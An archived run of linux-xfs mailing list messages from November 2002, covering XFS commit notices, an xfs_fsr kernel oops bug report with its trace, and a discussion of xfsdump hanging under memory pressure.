16:59:45 -0600 Message-Id: <200211152259.gAFMxj604140@jen.americas.sgi.com> Date: Fri, 15 Nov 2002 16:59:45 -0600 Subject: TAKE - clean up use of run_task_queue in xfs To: linux-xfs@oss.sgi.com X-archive-position: 1738 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Some tweaks from my adventures in scsi land this week. Date: Fri Nov 15 14:59:22 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-2.4.20 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133254a linux/fs/xfs/xfsidbg.c - 1.210 - fix up pagebuf debug function linux/fs/xfs/xfs_buf.h - 1.95 linux/fs/xfs/pagebuf/page_buf_locking.c - 1.32 - call pagebuf_run_task_queue linux/fs/xfs/pagebuf/page_buf.c - 1.77 - we had one unneeded run_task_queue in here, kill it, also wrap run_task_queue in a test to see if there is pending I/O on the buffer in question. Make it possible to run th io completion code locally rather than scheduling it, for the cases where we are not in interrupt context. linux/fs/xfs/pagebuf/page_buf.h - 1.46 - move pb_io_remaining here from the private structure and create pagebuf_run_task_queue as an inline function. linux/fs/xfs/pagebuf/page_buf_internal.h - 1.18 - move pb_io_remaining from here to public pagebuf structure From owner-linux-xfs@oss.sgi.com Fri Nov 15 17:31:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 17:31:24 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAG1VKuR007260 for ; Fri, 15 Nov 2002 17:31:20 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFNX7G8026775 for ; Fri, 15 Nov 2002 15:33:07 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id TAA27349 for ; Fri, 15 Nov 2002 19:32:52 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id TAA77962 for ; Fri, 15 Nov 2002 19:32:51 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAG1WdR13034; Fri, 15 Nov 2002 19:32:39 -0600 Message-Id: <200211160132.gAG1WdR13034@jen.americas.sgi.com> Date: Fri, 15 Nov 2002 19:32:39 -0600 Subject: TAKE - some cleanup in log wite path To: linux-xfs@oss.sgi.com X-archive-position: 1739 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs remove some unused code paths from the log flushing paths, and remove the callback processing from the log write path, we only do callbacks on I/O completion now. Date: Fri Nov 15 17:31:42 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-2.4.20 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133285a linux/fs/xfs/xfs_log.c - 1.261 - cleanup and remove xlog_state_do_callback from iclog space reservation code. From owner-linux-xfs@oss.sgi.com Fri Nov 15 18:08:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 18:08:57 -0800 (PST) Received: from stine.vestdata.no (IDENT:0@stine.vestdata.no [195.204.68.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAG28suR008519 for ; Fri, 15 Nov 2002 18:08:55 -0800 Received: (from ragnark@localhost) by stine.vestdata.no (8.11.6/8.11.2) id gAG2AWW13978; Sat, 16 Nov 2002 03:10:32 +0100 Date: Sat, 16 Nov 2002 03:10:32 +0100 From: =?iso-8859-1?Q?Ragnar_Kj=F8rstad?= To: linux-lvm@sistina.com Cc: Postgres Admin List , "Linux-Xfs (E-mail)" Subject: Re: [linux-lvm] PostgreSQL and file system level backup Message-ID: <20021116031032.V17827@vestdata.no> References: <2D92FEBFD3BE1346A6C397223A8DD3FC09208C@THOR.goeci.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <2D92FEBFD3BE1346A6C397223A8DD3FC09208C@THOR.goeci.com>; from murthy.kambhampaty@goeci.com on Fri, Nov 15, 2002 at 04:25:49PM -0500 X-MIME-Autoconverted: from 8bit to quoted-printable by stine.vestdata.no id gAG2AWW13978 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gAG28tuR008521 X-archive-position: 1740 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lvm@ragnark.vestdata.no Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 04:25:49PM -0500, Murthy Kambhampaty wrote: > "Unless the postmaster is shut down meanwhile, you'll probably end up with a > corrupt database. The problem is that xfsdump does not give you an > instantaneous snapshot of the filesystem state, so you will probably collect > inconsistent contents of the various files that make up the database." > > Which gives rise to my present question: given that LVM DOES give an > instantaneous snapshot of the filesystem, would an xfsdump of an LVM > snapshot of an XFS filesystem give usable backups? Yes, it should. Allthough, some of the postgresql-developers use the term "corrupt database" of a database where the table-files are inconsistant. That's generally _always_ the case when the server is running, as the latest updates are only available in the database-log. That's also the case for the LVM-snapshot. This "inconsistancy" will be fixed by log-replay when you start the server (after restore). If you want to avoid it, you can: - shut down databasee - take snapshot - start database - backup from snapshot There was a long thread on this subject on the postgresql-list a month or two ago. -- Ragnar Kjørstad Big Storage From owner-linux-xfs@oss.sgi.com Sat Nov 16 01:22:57 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 01:23:03 -0800 (PST) Received: from gk.ka.epigenomics.net (qmailr@gk.ka.epigenomics.net [62.159.77.106]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAG9MtuR018787 for ; Sat, 16 Nov 2002 01:22:56 -0800 Received: (qmail 3595 invoked from network); 16 Nov 2002 09:24:44 -0000 Received: from einstein.epigenomics.epi (qmailr@192.168.1.4) by weinberg.epigenomics.epi with SMTP; 16 Nov 2002 09:24:44 -0000 Received: (qmail 31165 invoked from network); 16 Nov 2002 09:24:43 -0000 Received: from broglie.epigenomics.epi (qmailr@192.168.1.5) by einstein.epigenomics.epi with SMTP; 16 Nov 2002 09:24:43 -0000 Received: (qmail 10547 invoked by uid 9); 16 Nov 2002 09:24:42 -0000 From: Robert Sander Reply-To: Robert Sander X-Newsgroups: epi.ml.linux.xfs Subject: Re: xfs performance on scsi in 2.4.20-rc1 Date: Sat, 16 Nov 2002 09:24:42 +0000 (UTC) Organization: Epigenomics AG Lines: 20 Message-ID: References: <1037393245.24118.43.camel@jen.americas.sgi.com> X-Complaints-To: usenet@epigenomics.com User-Agent: slrn/0.9.7.3 (Linux) To: linux-xfs@oss.sgi.com X-archive-position: 1741 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ml-linux-xfs@epigenomics.com Precedence: bulk X-list: linux-xfs On Fri, 15 Nov 2002 20:48:21 +0000 (UTC), Steve Lord wrote: > > It turns out that there are some issues in the scsi mid layer code > which are killing xfs performance - if you are not running a HIGHMEM > kernel. So if you are running 2.4.20-rc1 with xfs on scsi without > HIGHMEM and HIGHIO turned on, then I recommend you turn them on. Hi! Is this related to bug 193? http://oss.sgi.com/bugzilla/show_bug.cgi?id=193 Greetings -- Robert Sander Manager Information Systems www.epigenomics.com Kastanienallee 24 +493024345330 10435 Berlin From owner-linux-xfs@oss.sgi.com Sat Nov 16 01:36:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 01:36:24 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAG9aMuR019433 for ; Sat, 16 Nov 2002 01:36:22 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 0BAE91F0987; Sat, 16 Nov 2002 01:38:12 -0800 (PST) Date: Sat, 16 Nov 2002 01:38:12 -0800 From: Chris Wedgwood To: Andrew Morton Cc: zlatko.calusic@iskon.hr, Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021116093812.GA31022@tapu.f00f.org> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3DD57602.857AD62D@digeo.com> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1742 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 02:32:34PM -0800, Andrew Morton wrote: > Does xfs_dump actually pin 700 megs of memory?? No. > If someone could provide a detailed description of what xfs_dump is > actually doing internally, that may help me shed some light. > xfs_dump is actually using kernel support for coherency reasons, is > that not so? How does it work? It uses bulkstat; I'm not convinced that alone is the problem (I have other applications that use it and never caused the kinds of lockups). --cw From owner-linux-xfs@oss.sgi.com Sat Nov 16 01:43:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 01:43:57 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAG9hsuR019978 for ; Sat, 16 Nov 2002 01:43:54 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAG9hsji019977 for linux-xfs@oss.sgi.com; Sat, 16 Nov 2002 01:43:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAG9hruT019963 for ; Sat, 16 Nov 2002 01:43:53 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAG9Vxn9019362; Sat, 16 Nov 2002 01:31:59 -0800 Date: Sat, 16 Nov 2002 01:31:59 -0800 Message-Id: <200211160931.gAG9Vxn9019362@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 195] New: xfs_fsr results in oops X-Bugzilla-Reason: AssignedTo X-archive-position: 1743 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=195 Summary: xfs_fsr results in oops Product: Linux XFS Version: Current Platform: All OS/Version: Linux Status: NEW Severity: normal Priority: High Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: c.pascoe@itee.uq.edu.au If this is a userspace bug, what version of the package are you using: xfs_fsr, CVS 15/Oct/2002 What kernel are you using: 2.4.20-rc1 Where did the XFS code come from? (CVS, Linus, your distribution, etc): SGI XFS CVS-2002-11-08_06:00_UTC with ACLs, quota, no debug enabled Description of Problem: Running xfs_fsr results in an invalid paging request, similar to below. Unable to handle kernel paging request at virtual address 028b080c f89a94a5 *pde = 00000000 Oops: 0000 CPU: 0 EIP: 0010:[] Tainted: P Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010283 eax: 028b0804 ebx: 00020002 ecx: 00080000 edx: df11bd7c esi: f6b96220 edi: f89c31a0 ebp: df11bd80 esp: df11bd68 ds: 0018 es: 0018 ss: 0018 Process xfs_fsr (pid: 2142, stackpage=df11b000) Stack: 000000a3 00000001 f89c31a0 f4b04320 df11bd7c 00000001 df11be0c f89aa25e f6b96240 00000000 00000000 00080000 df11bdec 00020002 00000000 00000001 f89c31a0 c012a6bf f78fde40 401e2000 00000000 00000080 00000000 00000000 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 48 08 89 4d f4 52 8b 4d 18 51 53 8b 55 14 52 8b 55 0c 8b >>EIP; f89a94a5 <[xfs]map_blocks+25/9c> <===== >>eax; 028b0804 Before first symbol >>ebx; 00020002 Before first symbol >>ecx; 00080000 Before first symbol >>edx; df11bd7c <_end+1edb7d9c/3849c020> >>esi; f6b96220 <_end+36832240/3849c020> >>edi; f89c31a0 <[xfs]linvfs_aops+0/40> >>ebp; df11bd80 <_end+1edb7da0/3849c020> >>esp; df11bd68 <_end+1edb7d88/3849c020> Trace; f89c31a0 <[xfs]linvfs_aops+0/40> Trace; f89aa25e <[xfs]linvfs_direct_IO+e6/2fc> Trace; f89c31a0 <[xfs]linvfs_aops+0/40> Trace; c012a6bf Trace; c012e979 Trace; f89c31a0 <[xfs]linvfs_aops+0/40> Trace; c01308ff Trace; c012e5b0 Trace; c012e78f Trace; f89afce2 <[xfs]xfs_write+2aa/4d0> Trace; f89afcfa <[xfs]xfs_write+2c2/4d0> Trace; f89aa6ae <[xfs]linvfs_write+b6/e8> Trace; f89aa5f8 <[xfs]linvfs_write+0/e8> Trace; c013d070 Trace; c0108f6b Code; f89a94a5 <[xfs]map_blocks+25/9c> 00000000 <_EIP>: Code; f89a94a5 <[xfs]map_blocks+25/9c> <===== 0: 8b 48 08 mov 0x8(%eax),%ecx <===== Code; f89a94a8 <[xfs]map_blocks+28/9c> 3: 89 4d f4 mov %ecx,0xfffffff4(%ebp) Code; f89a94ab <[xfs]map_blocks+2b/9c> 6: 52 push %edx Code; f89a94ac <[xfs]map_blocks+2c/9c> 7: 8b 4d 18 mov 0x18(%ebp),%ecx Code; f89a94af <[xfs]map_blocks+2f/9c> a: 51 push %ecx Code; f89a94b0 <[xfs]map_blocks+30/9c> b: 53 push %ebx Code; f89a94b1 <[xfs]map_blocks+31/9c> c: 8b 55 14 mov 0x14(%ebp),%edx Code; f89a94b4 <[xfs]map_blocks+34/9c> f: 52 push %edx Code; f89a94b5 <[xfs]map_blocks+35/9c> 10: 8b 55 0c mov 0xc(%ebp),%edx Code; f89a94b8 <[xfs]map_blocks+38/9c> 13: 8b 00 mov (%eax),%eax 3 warnings and 7 errors issued. Results may not be reliable. NB, this still occurs if I do not load the module that taints the kernel (a Dell ESM module). How Reproducible: Every time (well, 3 times - this system is in production). Steps to Reproduce: 1. Run xfs_fsr Additional Information: The system which xfs_fsr was run on exports two large filesystems (500GB w/v1 log, 250GB w/v2 log) via samba and NFS. LVM is not installed on this system. It is Dual CPU SMP w/ megaraid hardware RAID. The Oops also occurs on another system without a v2 filesystem and with different SCSI hardware. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sat Nov 16 03:40:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 03:40:31 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGBeOuR025701 for ; Sat, 16 Nov 2002 03:40:25 -0800 Received: (qmail 4618 invoked from network); 16 Nov 2002 11:40:36 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 16 Nov 2002 11:40:36 +0100 Received: from atlas.iskon.hr (zcalusic@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAGAeXsS001695; Sat, 16 Nov 2002 11:40:34 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAGAeUC4001694; Sat, 16 Nov 2002 11:40:30 +0100 To: Andi Kleen Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sat, 16 Nov 2002 11:40:30 +0100 In-Reply-To: <20021115164012.A28685@wotan.suse.de> (Andi Kleen's message of "Fri, 15 Nov 2002 16:40:12 +0100") Message-ID: <87u1ih4x29.fsf@atlas.iskon.hr> Lines: 15 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1744 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andi Kleen writes: >> Hm, to tell the truth, all that doesn't sound like an easy problem to >> fix, but I'm sure we'll think of something. :) > > It may be possible to just hack the user space program to limit > the data currently in flight, but that would likely impact performance > somewhat. Better than doing no backups though. Before that, I think we should try to fix it properly. Yes, xfsdump is blazingly fast and probably that is the reason we have some problems with it now, but let's try not to surrender before a fight. :) -- Zlatko From owner-linux-xfs@oss.sgi.com Sat Nov 16 03:44:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 03:44:22 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGBiJuR026161 for ; Sat, 16 Nov 2002 03:44:20 -0800 Received: (qmail 13838 invoked from network); 16 Nov 2002 11:45:20 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 16 Nov 2002 11:45:20 +0100 Received: from atlas.iskon.hr (zcalusic@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAGAjGsS002055; Sat, 16 Nov 2002 11:45:17 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAGAjCuw002048; Sat, 16 Nov 2002 11:45:12 +0100 To: Andi Kleen Cc: Steve Lord , Andrew Morton , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule - st driver pinning References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> <1037400155.24118.231.camel@jen.americas.sgi.com> <20021115235546.A10107@wotan.suse.de> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sat, 16 Nov 2002 11:45:12 +0100 In-Reply-To: <20021115235546.A10107@wotan.suse.de> (Andi Kleen's message of "Fri, 15 Nov 2002 23:55:46 +0100") Message-ID: <87ptt54wuf.fsf@atlas.iskon.hr> Lines: 13 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1745 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andi Kleen writes: > Another comment: > > wasn't the ST driver recently changed in 2.5 to do direct IO from user space? > That could disturb VM somewhat too because it will pin a lot of pages. If by ST driver you mean SCSI Tape driver, then it is not the reason here because I'm dumping to a file on a different disk. So, it is not involved (I don't even have it compiled in the kernel). Also, I forgot to mention, disks are both IDE (on both machines I have tested). -- Zlatko From owner-linux-xfs@oss.sgi.com Sat Nov 16 04:17:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 04:17:35 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGCHUuR027486 for ; Sat, 16 Nov 2002 04:17:30 -0800 Received: (qmail 11640 invoked from network); 16 Nov 2002 13:19:19 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 16 Nov 2002 13:19:19 +0100 Received: from atlas.iskon.hr (zcalusic@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAGCJGsS008907; Sat, 16 Nov 2002 13:19:16 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAGCJBtQ008900; Sat, 16 Nov 2002 13:19:11 +0100 To: Chris Wedgwood Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115112134.GA27856@tapu.f00f.org> <20021115203350.GA29437@tapu.f00f.org> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sat, 16 Nov 2002 13:19:11 +0100 In-Reply-To: <20021115203350.GA29437@tapu.f00f.org> (Chris Wedgwood's message of "Fri, 15 Nov 2002 12:33:50 -0800") Message-ID: <87heeh4shs.fsf@atlas.iskon.hr> Lines: 20 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1746 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Chris Wedgwood writes: > Something like: > > cvs -d :pserver:cvs@oss.sgi.com/cvs login > "cvs" > cvs -d :pserver:cvs@oss.sgi.com/cvs co linux-2.5-xfs > cd linux-2.5-xfs/linux > cp path/to/present/.config .config > make oldconfig > make dep bzImage modules > [...] Hey, thanks! It's being pulled right now, minor obstraction is that the whole kernel tree is going to take some time to download through this slow link of mine. :( I'll report my observations ASAP. -- Zlatko From owner-linux-xfs@oss.sgi.com Sat Nov 16 05:43:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 05:43:58 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAGDhsuR029119 for ; Sat, 16 Nov 2002 05:43:54 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAGDhsPT029118 for linux-xfs@oss.sgi.com; Sat, 16 Nov 2002 05:43:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAGDhquT029102 for ; Sat, 16 Nov 2002 05:43:53 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAGDMwCw028821; Sat, 16 Nov 2002 05:22:58 -0800 Date: Sat, 16 Nov 2002 05:22:58 -0800 Message-Id: <200211161322.gAGDMwCw028821@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 195] xfs_fsr results in oops X-Bugzilla-Reason: AssignedTo X-archive-position: 1747 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=195 christian.guggenberger@physik.uni-regensburg.de changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |christian.guggenberger@physi | |k.uni-regensburg.de ------- Additional Comments From christian.guggenberger@physik.uni-regensburg.de 2002-11-16 04:02 ------- Sorry, but I can't reproduce that here at all. xfs_fsr runs fine for me on two 400G lvm1 slices and on one 1.7 TB drive (each scsi)(internal logs v1). System is Dell Poweredge 2500, 2x 1.4GHz PIII,2 GB Ram,adaptec scsi 7899P, NFS-server only. I'm running kernel XFS-CVS-2002-11-06.(2.4.20-rc1) But I also use xfsdump contained by that cvs-checkout.(xfsdump-2.2.3) Could you try a recent xfsdump package ? Christian ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sat Nov 16 09:12:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 09:12:28 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGHCKuR000392 for ; Sat, 16 Nov 2002 09:12:21 -0800 Received: (qmail 19571 invoked from network); 16 Nov 2002 18:14:09 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 16 Nov 2002 18:14:09 +0100 Received: from atlas.iskon.hr (smmsp@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAGHE6AT000988; Sat, 16 Nov 2002 18:14:06 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAGHCtNl000644; Sat, 16 Nov 2002 18:12:55 +0100 To: Andrew Morton , Chris Wedgwood Cc: Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sat, 16 Nov 2002 18:12:55 +0100 In-Reply-To: <3DD57602.857AD62D@digeo.com> (Andrew Morton's message of "Fri, 15 Nov 2002 14:32:34 -0800") Message-ID: <87zns9xwtk.fsf@atlas.iskon.hr> Lines: 219 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1748 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Andrew Morton writes: > Zlatko Calusic wrote: >> >> Oh, yes, you're completely right, of course. It's the pinned part of >> page cache that makes big pressure on the memory. Whole lot of >> inactive page cache pages (~700MB in my case) is not really good >> indicator of recyclable memory, when (probably) a big part of it is >> pinned and can't be thrown out. So it is VM, after all. > > Does xfs_dump actually pin 700 megs of memory?? I don't know, it's just a possibility. > > If someone could provide a detailed description of what xfs_dump > is actually doing internally, that may help me shed some light. > xfs_dump is actually using kernel support for coherency reasons, > is that not so? How does it work? > > Does the machine have highmem? No, LOWMEM only, I have attached relevant files in the end of this message. > What was the backtrace into the page allocation failure? Chris, unfortunately here I have exactly the same problems with the code from CVS pulled today, so the bug is not really solved. I pressed Alt-Sysrq-T after the xfsdump got stuck and got this: xfsdump D C0440380 16 609 486 (NOTLB) Call Trace: [blk_run_queues+135/152] blk_run_queues+0x87/0x98 [io_schedule+41/56] io_schedule+0x29/0x38 [__lock_page+141/176] __lock_page+0x8d/0xb0 [autoremove_wake_function+0/60] autoremove_wake_function+0x0/0x3c [autoremove_wake_function+0/60] autoremove_wake_function+0x0/0x3c [find_lock_page+84/180] find_lock_page+0x54/0xb4 [find_or_create_page+24/168] find_or_create_page+0x18/0xa8 [_pagebuf_lookup_pages+381/916] _pagebuf_lookup_pages+0x17d/0x394 [pagebuf_get+138/256] pagebuf_get+0x8a/0x100 [xfs_trans_read_buf+53/808] xfs_trans_read_buf+0x35/0x328 [xfs_itobp+241/420] xfs_itobp+0xf1/0x1a4 [pagebuf_rele+169/192] pagebuf_rele+0xa9/0xc0 [xfs_bulkstat+2123/2824] xfs_bulkstat+0x84b/0xb08 [huft_build+1349/1852] huft_build+0x545/0x73c [xfs_ioc_bulkstat+271/352] xfs_ioc_bulkstat+0x10f/0x160 [xfs_bulkstat_one+0/1196] xfs_bulkstat_one+0x0/0x4ac [xfs_ioctl+589/1312] xfs_ioctl+0x24d/0x520 [huft_build+1349/1852] huft_build+0x545/0x73c 